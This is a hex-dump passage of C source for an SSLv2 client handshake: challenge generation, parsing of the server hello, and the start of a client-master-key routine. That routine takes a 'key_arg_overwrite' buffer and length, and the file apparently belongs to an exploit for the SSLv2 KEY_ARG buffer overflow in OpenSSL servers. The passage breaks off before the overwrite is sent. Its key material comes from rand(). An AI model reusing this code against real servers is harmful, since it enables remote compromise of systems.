|000031e0| 3b 0a 0a 09 2f 2a 20 67 | 65 6e 65 72 61 74 65 20 |;.../* g|enerate |
|000031f0| 43 48 41 4c 4c 45 4e 47 | 45 5f 4c 45 4e 47 54 48 |CHALLENG|E_LENGTH|
|00003200| 20 62 79 74 65 73 20 6f | 66 20 63 68 61 6c 6c 65 | bytes o|f challe|
|00003210| 6e 67 65 20 64 61 74 61 | 20 2a 2f 0a 09 66 6f 72 |nge data| */..for|
|00003220| 20 28 69 20 3d 20 30 3b | 20 69 20 3c 20 43 48 41 | (i = 0;| i < CHA|
|00003230| 4c 4c 45 4e 47 45 5f 4c | 45 4e 47 54 48 3b 20 69 |LLENGE_L|ENGTH; i|
|00003240| 2b 2b 29 20 7b 0a 09 09 | 73 73 6c 2d 3e 63 68 61 |++) {...|ssl->cha|
|00003250| 6c 6c 65 6e 67 65 5b 69 | 5d 20 3d 20 28 75 6e 73 |llenge[i|] = (uns|
|00003260| 69 67 6e 65 64 20 63 68 | 61 72 29 20 28 72 61 6e |igned ch|ar) (ran|
|00003270| 64 28 29 20 3e 3e 20 32 | 34 29 3b 0a 09 7d 0a 09 |d() >> 2|4);..}..|
|00003280| 6d 65 6d 63 70 79 28 26 | 62 75 66 5b 33 33 5d 2c |memcpy(&|buf[33],|
|00003290| 20 73 73 6c 2d 3e 63 68 | 61 6c 6c 65 6e 67 65 2c | ssl->ch|allenge,|
|000032a0| 20 43 48 41 4c 4c 45 4e | 47 45 5f 4c 45 4e 47 54 | CHALLEN|GE_LENGT|
|000032b0| 48 29 3b 0a 0a 09 73 65 | 6e 64 5f 73 73 6c 5f 70 |H);...se|nd_ssl_p|
|000032c0| 61 63 6b 65 74 28 73 73 | 6c 2c 20 62 75 66 2c 20 |acket(ss|l, buf, |
|000032d0| 33 33 20 2b 20 43 48 41 | 4c 4c 45 4e 47 45 5f 4c |33 + CHA|LLENGE_L|
|000032e0| 45 4e 47 54 48 29 3b 0a | 0a 09 72 65 74 75 72 6e |ENGTH);.|..return|
|000032f0| 20 53 53 4c 5f 4f 4b 3b | 0a 7d 0a 0a 2f 2a 20 47 | SSL_OK;|.}../* G|
|00003300| 65 74 20 61 20 53 45 52 | 56 45 52 5f 48 45 4c 4c |et a SER|VER_HELL|
|00003310| 4f 20 72 65 73 70 6f 6e | 73 65 20 66 72 6f 6d 20 |O respon|se from |
|00003320| 74 68 65 20 73 65 72 76 | 65 72 20 2a 2f 0a 69 6e |the serv|er */.in|
|00003330| 74 20 67 65 74 5f 73 65 | 72 76 65 72 5f 68 65 6c |t get_se|rver_hel|
|00003340| 6c 6f 28 73 74 72 75 63 | 74 20 73 73 6c 5f 63 6f |lo(struc|t ssl_co|
|00003350| 6e 6e 2a 20 73 73 6c 29 | 0a 7b 0a 09 75 6e 73 69 |nn* ssl)|.{..unsi|
|00003360| 67 6e 65 64 20 63 68 61 | 72 20 62 75 66 5b 42 55 |gned cha|r buf[BU|
|00003370| 46 53 49 5a 45 5d 3b 0a | 09 75 6e 73 69 67 6e 65 |FSIZE];.|.unsigne|
|00003380| 64 20 63 68 61 72 20 2a | 70 2c 20 2a 65 6e 64 3b |d char *|p, *end;|
|00003390| 0a 09 69 6e 74 20 6c 65 | 6e 3b 0a 09 69 6e 74 20 |..int le|n;..int |
|000033a0| 73 65 72 76 65 72 5f 76 | 65 72 73 69 6f 6e 2c 20 |server_v|ersion, |
|000033b0| 63 65 72 74 5f 6c 65 6e | 67 74 68 2c 20 63 73 5f |cert_len|gth, cs_|
|000033c0| 6c 65 6e 67 74 68 2c 20 | 63 6f 6e 6e 5f 69 64 5f |length, |conn_id_|
|000033d0| 6c 65 6e 67 74 68 3b 0a | 09 69 6e 74 20 66 6f 75 |length;.|.int fou|
|000033e0| 6e 64 3b 0a 0a 09 69 66 | 20 28 73 73 6c 2d 3e 65 |nd;...if| (ssl->e|
|000033f0| 72 72 29 20 72 65 74 75 | 72 6e 20 53 53 4c 5f 45 |rr) retu|rn SSL_E|
|00003400| 52 52 4f 52 3b 0a 09 0a | 09 69 66 20 28 73 73 6c |RROR;...|.if (ssl|
|00003410| 2d 3e 76 65 72 62 6f 73 | 65 29 20 70 72 69 6e 74 |->verbos|e) print|
|00003420| 66 28 22 20 2d 3e 20 67 | 65 74 5f 73 65 72 76 65 |f(" -> g|et_serve|
|00003430| 72 5f 68 65 6c 6c 6f 5c | 6e 22 29 3b 0a 0a 09 69 |r_hello\|n");...i|
|00003440| 66 20 28 21 28 6c 65 6e | 20 3d 20 72 65 61 64 5f |f (!(len| = read_|
|00003450| 73 73 6c 5f 70 61 63 6b | 65 74 28 73 73 6c 2c 20 |ssl_pack|et(ssl, |
|00003460| 62 75 66 2c 20 73 69 7a | 65 6f 66 28 62 75 66 29 |buf, siz|eof(buf)|
|00003470| 29 29 29 20 7b 0a 09 09 | 72 65 74 75 72 6e 20 53 |))) {...|return S|
|00003480| 53 4c 5f 45 52 52 4f 52 | 3b 0a 09 7d 0a 09 0a 09 |SL_ERROR|;..}....|
|00003490| 69 66 20 28 6c 65 6e 20 | 3c 20 31 31 29 20 7b 0a |if (len |< 11) {.|
|000034a0| 09 09 73 73 6c 2d 3e 65 | 72 72 20 3d 20 53 53 4c |..ssl->e|rr = SSL|
|000034b0| 5f 50 52 4f 54 4f 43 4f | 4c 5f 45 52 52 4f 52 3b |_PROTOCO|L_ERROR;|
|000034c0| 0a 09 09 73 70 72 69 6e | 74 66 28 73 73 6c 2d 3e |...sprin|tf(ssl->|
|000034d0| 65 72 72 5f 62 75 66 2c | 20 22 67 65 74 5f 73 65 |err_buf,| "get_se|
|000034e0| 72 76 65 72 5f 68 65 6c | 6c 6f 3a 20 50 61 63 6b |rver_hel|lo: Pack|
|000034f0| 65 74 20 74 6f 6f 20 73 | 68 6f 72 74 20 28 6c 65 |et too s|hort (le|
|00003500| 6e 20 3d 20 25 64 29 22 | 2c 20 6c 65 6e 29 3b 0a |n = %d)"|, len);.|
|00003510| 09 09 72 65 74 75 72 6e | 20 53 53 4c 5f 45 52 52 |..return| SSL_ERR|
|00003520| 4f 52 3b 0a 09 7d 0a 09 | 0a 09 70 20 3d 20 62 75 |OR;..}..|..p = bu|
|00003530| 66 3b 0a 0a 09 69 66 20 | 28 2a 28 70 2b 2b 29 20 |f;...if |(*(p++) |
|00003540| 21 3d 20 53 53 4c 32 5f | 4d 54 5f 53 45 52 56 45 |!= SSL2_|MT_SERVE|
|00003550| 52 5f 48 45 4c 4c 4f 29 | 20 7b 0a 09 09 73 73 6c |R_HELLO)| {...ssl|
|00003560| 2d 3e 65 72 72 20 3d 20 | 53 53 4c 5f 50 52 4f 54 |->err = |SSL_PROT|
|00003570| 4f 43 4f 4c 5f 45 52 52 | 4f 52 3b 0a 09 09 73 70 |OCOL_ERR|OR;...sp|
|00003580| 72 69 6e 74 66 28 73 73 | 6c 2d 3e 65 72 72 5f 62 |rintf(ss|l->err_b|
|00003590| 75 66 2c 20 22 67 65 74 | 5f 73 65 72 76 65 72 5f |uf, "get|_server_|
|000035a0| 68 65 6c 6c 6f 3a 20 45 | 78 70 65 63 74 65 64 20 |hello: E|xpected |
|000035b0| 53 53 4c 32 5f 4d 54 5f | 53 45 52 56 45 52 5f 48 |SSL2_MT_|SERVER_H|
|000035c0| 45 4c 4c 4f 2c 20 67 6f | 74 20 30 78 25 30 32 78 |ELLO, go|t 0x%02x|
|000035d0| 22 2c 20 28 69 6e 74 29 | 70 5b 2d 31 5d 29 3b 0a |", (int)|p[-1]);.|
|000035e0| 09 09 72 65 74 75 72 6e | 20 53 53 4c 5f 45 52 52 |..return| SSL_ERR|
|000035f0| 4f 52 3b 0a 09 7d 0a 0a | 09 69 66 20 28 2a 28 70 |OR;..}..|.if (*(p|
|00003600| 2b 2b 29 20 21 3d 20 30 | 29 20 7b 0a 09 09 73 73 |++) != 0|) {...ss|
|00003610| 6c 2d 3e 65 72 72 20 3d | 20 53 53 4c 5f 50 52 4f |l->err =| SSL_PRO|
|00003620| 54 4f 43 4f 4c 5f 45 52 | 52 4f 52 3b 0a 09 09 73 |TOCOL_ER|ROR;...s|
|00003630| 70 72 69 6e 74 66 28 73 | 73 6c 2d 3e 65 72 72 5f |printf(s|sl->err_|
|00003640| 62 75 66 2c 20 22 67 65 | 74 5f 73 65 72 76 65 72 |buf, "ge|t_server|
|00003650| 5f 68 65 6c 6c 6f 3a 20 | 53 45 53 53 49 4f 4e 2d |_hello: |SESSION-|
|00003660| 49 44 2d 48 49 54 20 69 | 73 20 6e 6f 74 20 30 22 |ID-HIT i|s not 0"|
|00003670| 29 3b 0a 09 09 72 65 74 | 75 72 6e 20 53 53 4c 5f |);...ret|urn SSL_|
|00003680| 45 52 52 4f 52 3b 0a 09 | 7d 0a 0a 09 69 66 20 28 |ERROR;..|}...if (|
|00003690| 2a 28 70 2b 2b 29 20 21 | 3d 20 31 29 20 7b 0a 09 |*(p++) !|= 1) {..|
|000036a0| 09 73 73 6c 2d 3e 65 72 | 72 20 3d 20 53 53 4c 5f |.ssl->er|r = SSL_|
|000036b0| 50 52 4f 54 4f 43 4f 4c | 5f 45 52 52 4f 52 3b 0a |PROTOCOL|_ERROR;.|
|000036c0| 09 09 73 70 72 69 6e 74 | 66 28 73 73 6c 2d 3e 65 |..sprint|f(ssl->e|
|000036d0| 72 72 5f 62 75 66 2c 20 | 22 67 65 74 5f 73 65 72 |rr_buf, |"get_ser|
|000036e0| 76 65 72 5f 68 65 6c 6c | 6f 3a 20 43 45 52 54 49 |ver_hell|o: CERTI|
|000036f0| 46 49 43 41 54 45 2d 54 | 59 50 45 20 69 73 20 6e |FICATE-T|YPE is n|
|00003700| 6f 74 20 53 53 4c 5f 43 | 54 5f 58 35 30 39 5f 43 |ot SSL_C|T_X509_C|
|00003710| 45 52 54 49 46 49 43 41 | 54 45 22 29 3b 0a 09 09 |ERTIFICA|TE");...|
|00003720| 72 65 74 75 72 6e 20 53 | 53 4c 5f 45 52 52 4f 52 |return S|SL_ERROR|
|00003730| 3b 0a 09 7d 0a 0a 09 6e | 32 73 28 70 2c 20 73 65 |;..}...n|2s(p, se|
|00003740| 72 76 65 72 5f 76 65 72 | 73 69 6f 6e 29 3b 0a 09 |rver_ver|sion);..|
|00003750| 69 66 20 28 73 65 72 76 | 65 72 5f 76 65 72 73 69 |if (serv|er_versi|
|00003760| 6f 6e 20 21 3d 20 32 29 | 20 7b 0a 09 09 73 73 6c |on != 2)| {...ssl|
|00003770| 2d 3e 65 72 72 20 3d 20 | 53 53 4c 5f 50 52 4f 54 |->err = |SSL_PROT|
|00003780| 4f 43 4f 4c 5f 45 52 52 | 4f 52 3b 0a 09 09 73 70 |OCOL_ERR|OR;...sp|
|00003790| 72 69 6e 74 66 28 73 73 | 6c 2d 3e 65 72 72 5f 62 |rintf(ss|l->err_b|
|000037a0| 75 66 2c 20 22 67 65 74 | 5f 73 65 72 76 65 72 5f |uf, "get|_server_|
|000037b0| 68 65 6c 6c 6f 3a 20 55 | 6e 73 75 70 70 6f 72 74 |hello: U|nsupport|
|000037c0| 65 64 20 73 65 72 76 65 | 72 20 76 65 72 73 69 6f |ed serve|r versio|
|000037d0| 6e 20 25 64 22 2c 20 73 | 65 72 76 65 72 5f 76 65 |n %d", s|erver_ve|
|000037e0| 72 73 69 6f 6e 29 3b 0a | 09 09 72 65 74 75 72 6e |rsion);.|..return|
|000037f0| 20 53 53 4c 5f 45 52 52 | 4f 52 3b 0a 09 7d 0a 0a | SSL_ERR|OR;..}..|
|00003800| 09 6e 32 73 28 70 2c 20 | 63 65 72 74 5f 6c 65 6e |.n2s(p, |cert_len|
|00003810| 67 74 68 29 3b 0a 09 6e | 32 73 28 70 2c 20 63 73 |gth);..n|2s(p, cs|
|00003820| 5f 6c 65 6e 67 74 68 29 | 3b 0a 09 6e 32 73 28 70 |_length)|;..n2s(p|
|00003830| 2c 20 63 6f 6e 6e 5f 69 | 64 5f 6c 65 6e 67 74 68 |, conn_i|d_length|
|00003840| 29 3b 0a 0a 09 69 66 20 | 28 6c 65 6e 20 21 3d 20 |);...if |(len != |
|00003850| 31 31 20 2b 20 63 65 72 | 74 5f 6c 65 6e 67 74 68 |11 + cer|t_length|
|00003860| 20 2b 20 63 73 5f 6c 65 | 6e 67 74 68 20 2b 20 63 | + cs_le|ngth + c|
|00003870| 6f 6e 6e 5f 69 64 5f 6c | 65 6e 67 74 68 29 20 7b |onn_id_l|ength) {|
|00003880| 0a 09 09 73 73 6c 2d 3e | 65 72 72 20 3d 20 53 53 |...ssl->|err = SS|
|00003890| 4c 5f 50 52 4f 54 4f 43 | 4f 4c 5f 45 52 52 4f 52 |L_PROTOC|OL_ERROR|
|000038a0| 3b 0a 09 09 73 70 72 69 | 6e 74 66 28 73 73 6c 2d |;...spri|ntf(ssl-|
|000038b0| 3e 65 72 72 5f 62 75 66 | 2c 20 22 67 65 74 5f 73 |>err_buf|, "get_s|
|000038c0| 65 72 76 65 72 5f 68 65 | 6c 6c 6f 3a 20 4d 61 6c |erver_he|llo: Mal|
|000038d0| 66 6f 72 6d 65 64 20 70 | 61 63 6b 65 74 20 73 69 |formed p|acket si|
|000038e0| 7a 65 22 29 3b 0a 09 09 | 72 65 74 75 72 6e 20 53 |ze");...|return S|
|000038f0| 53 4c 5f 45 52 52 4f 52 | 3b 0a 09 7d 0a 0a 09 2f |SL_ERROR|;..}.../|
|00003900| 2a 20 72 65 61 64 20 74 | 68 65 20 73 65 72 76 65 |* read t|he serve|
|00003910| 72 20 63 65 72 74 69 66 | 69 63 61 74 65 20 2a 2f |r certif|icate */|
|00003920| 0a 09 73 73 6c 2d 3e 78 | 35 30 39 20 3d 20 4e 55 |..ssl->x|509 = NU|
|00003930| 4c 4c 3b 0a 09 73 73 6c | 2d 3e 78 35 30 39 3d 64 |LL;..ssl|->x509=d|
|00003940| 32 69 5f 58 35 30 39 28 | 4e 55 4c 4c 2c 26 70 2c |2i_X509(|NULL,&p,|
|00003950| 28 6c 6f 6e 67 29 63 65 | 72 74 5f 6c 65 6e 67 74 |(long)ce|rt_lengt|
|00003960| 68 29 3b 0a 09 69 66 20 | 28 73 73 6c 2d 3e 78 35 |h);..if |(ssl->x5|
|00003970| 30 39 20 3d 3d 20 4e 55 | 4c 4c 29 20 7b 0a 09 09 |09 == NU|LL) {...|
|00003980| 73 73 6c 2d 3e 65 72 72 | 20 3d 20 53 53 4c 5f 50 |ssl->err| = SSL_P|
|00003990| 52 4f 54 4f 43 4f 4c 5f | 45 52 52 4f 52 3b 0a 09 |ROTOCOL_|ERROR;..|
|000039a0| 09 73 70 72 69 6e 74 66 | 28 73 73 6c 2d 3e 65 72 |.sprintf|(ssl->er|
|000039b0| 72 5f 62 75 66 2c 20 22 | 67 65 74 5f 73 65 72 76 |r_buf, "|get_serv|
|000039c0| 65 72 5f 68 65 6c 6c 6f | 3a 20 43 61 6e 6e 6f 74 |er_hello|: Cannot|
|000039d0| 20 70 61 72 73 65 20 78 | 35 30 39 20 63 65 72 74 | parse x|509 cert|
|000039e0| 69 66 69 63 61 74 65 22 | 29 3b 0a 09 09 72 65 74 |ificate"|);...ret|
|000039f0| 75 72 6e 20 53 53 4c 5f | 45 52 52 4f 52 3b 0a 09 |urn SSL_|ERROR;..|
|00003a00| 7d 0a 0a 09 69 66 20 28 | 63 73 5f 6c 65 6e 67 74 |}...if (|cs_lengt|
|00003a10| 68 20 25 20 33 20 21 3d | 20 30 29 20 7b 0a 09 09 |h % 3 !=| 0) {...|
|00003a20| 73 73 6c 2d 3e 65 72 72 | 20 3d 20 53 53 4c 5f 50 |ssl->err| = SSL_P|
|00003a30| 52 4f 54 4f 43 4f 4c 5f | 45 52 52 4f 52 3b 0a 09 |ROTOCOL_|ERROR;..|
|00003a40| 09 73 70 72 69 6e 74 66 | 28 73 73 6c 2d 3e 65 72 |.sprintf|(ssl->er|
|00003a50| 72 5f 62 75 66 2c 20 22 | 67 65 74 5f 73 65 72 76 |r_buf, "|get_serv|
|00003a60| 65 72 5f 68 65 6c 6c 6f | 3a 20 43 49 50 48 45 52 |er_hello|: CIPHER|
|00003a70| 2d 53 50 45 43 53 2d 4c | 45 4e 47 54 48 20 69 73 |-SPECS-L|ENGTH is|
|00003a80| 20 6e 6f 74 20 61 20 6d | 75 6c 74 69 70 6c 65 20 | not a m|ultiple |
|00003a90| 6f 66 20 33 22 29 3b 0a | 09 09 72 65 74 75 72 6e |of 3");.|..return|
|00003aa0| 20 53 53 4c 5f 45 52 52 | 4f 52 3b 0a 09 7d 0a 0a | SSL_ERR|OR;..}..|
|00003ab0| 09 66 6f 75 6e 64 20 3d | 20 30 3b 0a 09 66 6f 72 |.found =| 0;..for|
|00003ac0| 20 28 65 6e 64 3d 70 2b | 63 73 5f 6c 65 6e 67 74 | (end=p+|cs_lengt|
|00003ad0| 68 3b 20 70 20 3c 20 65 | 6e 64 3b 20 70 20 2b 3d |h; p < e|nd; p +=|
|00003ae0| 20 33 29 20 7b 0a 09 09 | 69 66 20 28 28 70 5b 30 | 3) {...|if ((p[0|
|00003af0| 5d 20 3d 3d 20 30 78 30 | 31 29 20 26 26 20 28 70 |] == 0x0|1) && (p|
|00003b00| 5b 31 5d 20 3d 3d 20 30 | 78 30 30 29 20 26 26 20 |[1] == 0|x00) && |
|00003b10| 28 70 5b 32 5d 20 3d 3d | 20 30 78 38 30 29 29 0a |(p[2] ==| 0x80)).|
|00003b20| 09 09 09 66 6f 75 6e 64 | 20 3d 20 31 3b 09 2f 2a |...found| = 1;./*|
|00003b30| 20 53 53 4c 5f 43 4b 5f | 52 43 34 5f 31 32 38 5f | SSL_CK_|RC4_128_|
|00003b40| 57 49 54 48 5f 4d 44 35 | 20 2a 2f 0a 09 7d 0a 0a |WITH_MD5| */..}..|
|00003b50| 09 69 66 20 28 21 66 6f | 75 6e 64 29 20 7b 0a 09 |.if (!fo|und) {..|
|00003b60| 09 73 73 6c 2d 3e 65 72 | 72 20 3d 20 53 53 4c 5f |.ssl->er|r = SSL_|
|00003b70| 50 52 4f 54 4f 43 4f 4c | 5f 45 52 52 4f 52 3b 0a |PROTOCOL|_ERROR;.|
|00003b80| 09 09 73 70 72 69 6e 74 | 66 28 73 73 6c 2d 3e 65 |..sprint|f(ssl->e|
|00003b90| 72 72 5f 62 75 66 2c 20 | 22 67 65 74 5f 73 65 72 |rr_buf, |"get_ser|
|00003ba0| 76 65 72 5f 68 65 6c 6c | 6f 3a 20 52 65 6d 6f 74 |ver_hell|o: Remot|
|00003bb0| 65 20 73 65 72 76 65 72 | 20 64 6f 65 73 20 6e 6f |e server| does no|
|00003bc0| 74 20 73 75 70 70 6f 72 | 74 20 31 32 38 20 62 69 |t suppor|t 128 bi|
|00003bd0| 74 20 52 43 34 22 29 3b | 0a 09 09 72 65 74 75 72 |t RC4");|...retur|
|00003be0| 6e 20 53 53 4c 5f 45 52 | 52 4f 52 3b 0a 09 7d 0a |n SSL_ER|ROR;..}.|
|00003bf0| 0a 09 69 66 20 28 63 6f | 6e 6e 5f 69 64 5f 6c 65 |..if (co|nn_id_le|
|00003c00| 6e 67 74 68 20 3e 20 53 | 53 4c 32 5f 4d 41 58 5f |ngth > S|SL2_MAX_|
|00003c10| 43 4f 4e 4e 45 43 54 49 | 4f 4e 5f 49 44 5f 4c 45 |CONNECTI|ON_ID_LE|
|00003c20| 4e 47 54 48 29 20 7b 0a | 09 09 73 73 6c 2d 3e 65 |NGTH) {.|..ssl->e|
|00003c30| 72 72 20 3d 20 53 53 4c | 5f 50 52 4f 54 4f 43 4f |rr = SSL|_PROTOCO|
|00003c40| 4c 5f 45 52 52 4f 52 3b | 0a 09 09 73 70 72 69 6e |L_ERROR;|...sprin|
|00003c50| 74 66 28 73 73 6c 2d 3e | 65 72 72 5f 62 75 66 2c |tf(ssl->|err_buf,|
|00003c60| 20 22 67 65 74 5f 73 65 | 72 76 65 72 5f 68 65 6c | "get_se|rver_hel|
|00003c70| 6c 6f 3a 20 43 4f 4e 4e | 45 43 54 49 4f 4e 2d 49 |lo: CONN|ECTION-I|
|00003c80| 44 2d 4c 45 4e 47 54 48 | 20 69 73 20 74 6f 6f 20 |D-LENGTH| is too |
|00003c90| 6c 6f 6e 67 22 29 3b 0a | 09 09 72 65 74 75 72 6e |long");.|..return|
|00003ca0| 20 53 53 4c 5f 45 52 52 | 4f 52 3b 0a 09 7d 0a 0a | SSL_ERR|OR;..}..|
|00003cb0| 09 2f 2a 20 54 68 65 20 | 63 6f 6e 6e 65 63 74 69 |./* The |connecti|
|00003cc0| 6f 6e 20 69 64 20 69 73 | 20 73 65 6e 74 20 62 61 |on id is| sent ba|
|00003cd0| 63 6b 20 74 6f 20 74 68 | 65 20 73 65 72 76 65 72 |ck to th|e server|
|00003ce0| 20 69 6e 20 74 68 65 20 | 43 4c 49 45 4e 54 5f 46 | in the |CLIENT_F|
|00003cf0| 49 4e 49 53 48 45 44 20 | 70 61 63 6b 65 74 20 2a |INISHED |packet *|
|00003d00| 2f 0a 09 73 73 6c 2d 3e | 63 6f 6e 6e 5f 69 64 5f |/..ssl->|conn_id_|
|00003d10| 6c 65 6e 67 74 68 20 3d | 20 63 6f 6e 6e 5f 69 64 |length =| conn_id|
|00003d20| 5f 6c 65 6e 67 74 68 3b | 0a 09 6d 65 6d 63 70 79 |_length;|..memcpy|
|00003d30| 28 73 73 6c 2d 3e 63 6f | 6e 6e 5f 69 64 2c 20 70 |(ssl->co|nn_id, p|
|00003d40| 2c 20 63 6f 6e 6e 5f 69 | 64 5f 6c 65 6e 67 74 68 |, conn_i|d_length|
|00003d50| 29 3b 0a 0a 09 72 65 74 | 75 72 6e 20 53 53 4c 5f |);...ret|urn SSL_|
|00003d60| 4f 4b 3b 0a 7d 0a 0a 2f | 2a 20 53 65 6e 64 20 61 |OK;.}../|* Send a|
|00003d70| 20 43 4c 49 45 4e 54 5f | 4d 41 53 54 45 52 5f 4b | CLIENT_|MASTER_K|
|00003d80| 45 59 20 6d 65 73 73 61 | 67 65 20 74 6f 20 74 68 |EY messa|ge to th|
|00003d90| 65 20 73 65 72 76 65 72 | 20 2a 2f 0a 69 6e 74 20 |e server| */.int |
|00003da0| 73 65 6e 64 5f 63 6c 69 | 65 6e 74 5f 6d 61 73 74 |send_cli|ent_mast|
|00003db0| 65 72 5f 6b 65 79 28 73 | 74 72 75 63 74 20 73 73 |er_key(s|truct ss|
|00003dc0| 6c 5f 63 6f 6e 6e 2a 20 | 73 73 6c 2c 20 75 6e 73 |l_conn* |ssl, uns|
|00003dd0| 69 67 6e 65 64 20 63 68 | 61 72 2a 20 6b 65 79 5f |igned ch|ar* key_|
|00003de0| 61 72 67 5f 6f 76 65 72 | 77 72 69 74 65 2c 20 69 |arg_over|write, i|
|00003df0| 6e 74 20 6b 65 79 5f 61 | 72 67 5f 6f 76 65 72 77 |nt key_a|rg_overw|
|00003e00| 72 69 74 65 5f 6c 65 6e | 29 0a 7b 0a 09 69 6e 74 |rite_len|).{..int|
|00003e10| 20 65 6e 63 72 79 70 74 | 65 64 5f 6b 65 79 5f 6c | encrypt|ed_key_l|
|00003e20| 65 6e 67 74 68 2c 20 6b | 65 79 5f 61 72 67 5f 6c |ength, k|ey_arg_l|
|00003e30| 65 6e 67 74 68 2c 20 72 | 65 63 6f 72 64 5f 6c 65 |ength, r|ecord_le|
|00003e40| 6e 67 74 68 3b 0a 09 75 | 6e 73 69 67 6e 65 64 20 |ngth;..u|nsigned |
|00003e50| 63 68 61 72 2a 20 70 3b | 0a 09 69 6e 74 20 69 3b |char* p;|..int i;|
|00003e60| 0a 09 45 56 50 5f 50 4b | 45 59 20 2a 70 6b 65 79 |..EVP_PK|EY *pkey|
|00003e70| 3d 4e 55 4c 4c 3b 0a 09 | 0a 09 75 6e 73 69 67 6e |=NULL;..|..unsign|
|00003e80| 65 64 20 63 68 61 72 20 | 62 75 66 5b 42 55 46 53 |ed char |buf[BUFS|
|00003e90| 49 5a 45 5d 20 3d 0a 09 | 09 22 5c 78 30 32 22 09 |IZE] =..|."\x02".|
|00003ea0| 09 09 2f 2a 20 63 6c 69 | 65 6e 74 20 6d 61 73 74 |../* cli|ent mast|
|00003eb0| 65 72 20 6b 65 79 20 6d | 65 73 73 61 67 65 20 2a |er key m|essage *|
|00003ec0| 2f 0a 09 09 22 5c 78 30 | 31 5c 78 30 30 5c 78 38 |/..."\x0|1\x00\x8|
|00003ed0| 30 22 09 2f 2a 20 63 69 | 70 68 65 72 20 6b 69 6e |0"./* ci|pher kin|
|00003ee0| 64 20 2a 2f 0a 09 09 22 | 5c 78 30 30 5c 78 30 30 |d */..."|\x00\x00|
|00003ef0| 22 09 09 2f 2a 20 63 6c | 65 61 72 20 6b 65 79 20 |"../* cl|ear key |
|00003f00| 6c 65 6e 67 74 68 20 2a | 2f 0a 09 09 22 5c 78 30 |length *|/..."\x0|
|00003f10| 30 5c 78 34 30 22 09 09 | 2f 2a 20 65 6e 63 72 79 |0\x40"..|/* encry|
|00003f20| 70 74 65 64 20 6b 65 79 | 20 6c 65 6e 67 74 68 20 |pted key| length |
|00003f30| 2a 2f 0a 09 09 22 5c 78 | 30 30 5c 78 30 38 22 3b |*/..."\x|00\x08";|
|00003f40| 09 09 2f 2a 20 6b 65 79 | 20 61 72 67 20 6c 65 6e |../* key| arg len|
|00003f50| 67 74 68 20 2a 2f 0a 0a | 09 69 66 20 28 73 73 6c |gth */..|.if (ssl|
|00003f60| 2d 3e 65 72 72 29 20 72 | 65 74 75 72 6e 20 53 53 |->err) r|eturn SS|
|00003f70| 4c 5f 45 52 52 4f 52 3b | 0a 09 0a 09 69 66 20 28 |L_ERROR;|....if (|
|00003f80| 73 73 6c 2d 3e 76 65 72 | 62 6f 73 65 29 20 70 72 |ssl->ver|bose) pr|
|00003f90| 69 6e 74 66 28 22 20 2d | 3e 20 73 65 6e 64 5f 63 |intf(" -|> send_c|
|00003fa0| 6c 69 65 6e 74 5f 6d 61 | 73 74 65 72 5f 6b 65 79 |lient_ma|ster_key|
|00003fb0| 5c 6e 22 29 3b 0a 0a 09 | 70 20 3d 20 26 62 75 66 |\n");...|p = &buf|
|00003fc0| 5b 31 30 5d 3b 0a 0a 09 | 2f 2a 20 67 65 6e 65 72 |[10];...|/* gener|
|00003fd0| 61 74 65 20 61 20 31 32 | 38 20 62 79 74 65 20 6d |ate a 12|8 byte m|
|00003fe0| 61 73 74 65 72 20 6b 65 | 79 20 2a 2f 0a 09 66 6f |aster ke|y */..fo|
|00003ff0| 72 20 28 69 20 3d 20 30 | 3b 20 69 20 3c 20 52 43 |r (i = 0|; i < RC|
|00004000| 34 5f 4b 45 59 5f 4c 45 | 4e 47 54 48 3b 20 69 2b |4_KEY_LE|NGTH; i+|
|00004010| 2b 29 20 7b 0a 09 09 73 | 73 6c 2d 3e 6d 61 73 74 |+) {...s|sl->mast|
|00004020| 65 72 5f 6b 65 79 5b 69 | 5d 20 3d 20 28 75 6e 73 |er_key[i|] = (uns|
|00004030| 69 67 6e 65 64 20 63 68 | 61 72 29 20 28 72 61 6e |igned ch|ar) (ran|
|00004040| 64 28 29 20 3e 3e 20 32 | 34 29 3b 0a 09 7d 0a 09 |d() >> 2|4);..}..|
|00004050| 0a 09 70 6b 65 79 3d 58 | 35 30 39 5f 67 65 74 5f |..pkey=X|509_get_|
|00004060| 70 75 62 6b 65 79 28 73 | 73 6c 2d 3e 78 35 30 39 |pubkey(s|sl->x509|
|00004070| 29 3b 0a 09 69 66 20 28 | 21 70 6b 65 79 29 20 7b |);..if (|!pkey) {|
|00004080| 0a 09 09 73 73 6c 2d 3e | 65 72 72 20 3d 20 53 53 |...ssl->|err = SS|
|00004090| 4c 5f 50 52 4f 54 4f 43 | 4f 4c 5f 45 52 52 4f 52 |L_PROTOC|OL_ERROR|
|000040a0| 3b 0a 09 09 73 70 72 69 | 6e 74 66 28 73 73 6c 2d |;...spri|ntf(ssl-|
|000040b0| 3e 65 72 72 5f 62 75 66 | 2c 20 22 73 65 6e 64 5f |>err_buf|, "send_|
|000040c0| 63 6c 69 65 6e 74 5f 6d | 61 73 74 65 72 5f 6b 65 |client_m|aster_ke|
|000040d0| 79 3a 20 4e 6f 20 70 75 | 62 6c 69 63 20 6b 65 79 |y: No pu|blic key|
|000040e0| 20 69 6e 20 74 68 65 20 | 73 65 72 76 65 72 20 63 | in the |server c|
|000040f0| 65 72 74 69 66 69 63 61 | 74 65 22 29 3b 0a 09 09 |ertifica|te");...|
|00004100| 72 65 74 75 72 6e 20 53 | 53 4c 5f 45 52 52 4f 52 |return S|SL_ERROR|
|00004110| 3b 0a 09 7d 0a 0a 09 69 | 66 20 28 70 6b 65 79 2d |;..}...i|f (pkey-|
|00004120| 3e 74 79 70 65 20 21 3d | 20 45 56 50 5f 50 4b 45 |>type !=| EVP_PKE|
|00004130| 59 5f 52 53 41 29 20 7b | 0a 09 09 73 73 6c 2d 3e |Y_RSA) {|...ssl->|
|00004140| 65 72 72 20 3d 20 53 53 | 4c 5f 50 52 4f 54 4f 43 |err = SS|L_PROTOC|
|00004150| 4f 4c 5f 45 52 52 4f 52 | 3b 0a 09 09 73 70 72 69 |OL_ERROR|;...spri|
|00004160| 6e 74 66 28 73 73 6c 2d | 3e 65 72 72 5f 62 75 66 |ntf(ssl-|>err_buf|
|00004170| 2c 20 22 73 65 6e 64 5f | 63 6c 69 65 6e 74 5f 6d |, "send_|client_m|
|00004180| 61 73 74 65 72 5f 6b 65 | 79 3a 20 54 68 65 20 70 |aster_ke|y: The p|
|00004190| 75 62 6c 69 63 20 6b 65 | 79 20 69 6e 20 74 68 65 |ublic ke|y in the|
|000041a0| 20 73 65 72 76 65 72 20 | 63 65 72 74 69 66 69 63 | server |certific|
